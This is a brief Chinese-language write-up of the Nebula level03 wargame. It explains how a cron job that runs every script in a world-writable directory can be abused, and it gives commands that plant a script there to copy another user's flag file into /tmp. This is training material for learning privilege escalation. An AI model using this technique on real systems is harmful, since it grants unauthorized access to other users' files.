i春秋 - Exploit-Exercises: Nebula - level03

原创

jchalex 于 2017-02-25 22:13:00 发布 1585 收藏

分类专栏： exploit 文章标签： exploit

About

Check the home directory of flag03 and take note of the files there.

There is a crontab that is called every couple of minutes.

思路

先进flag文件夹看看

```
cd /home/flag03
vim writable.sh
```

```
#!/bin/sh

for i in /home/flag03/writable.d/* ; do
    (ulimit -t 5; bash -x "$i")
    rm -f "$i"
done
```

程序逻辑

依次执行writable.d文件夹下的所有脚本，然后删除

根据题目可知系统会每隔几分钟执行writable.sh脚本，并且writable.d文件夹是所有人可写的。那么获取flag的思路之一，便可以是写一个获取flag的脚本放进writable.d文件夹里，执行结果重定向到/tmp中文件。

```
cd /tmp
vim hack
```

```
cat /home/flag03/flag > /tmp/flag03
```

```
chmod 755 hack
mv hack /home/flag03/writable.d/
cat /tmp/flag03
```

As for the time, good luck for you!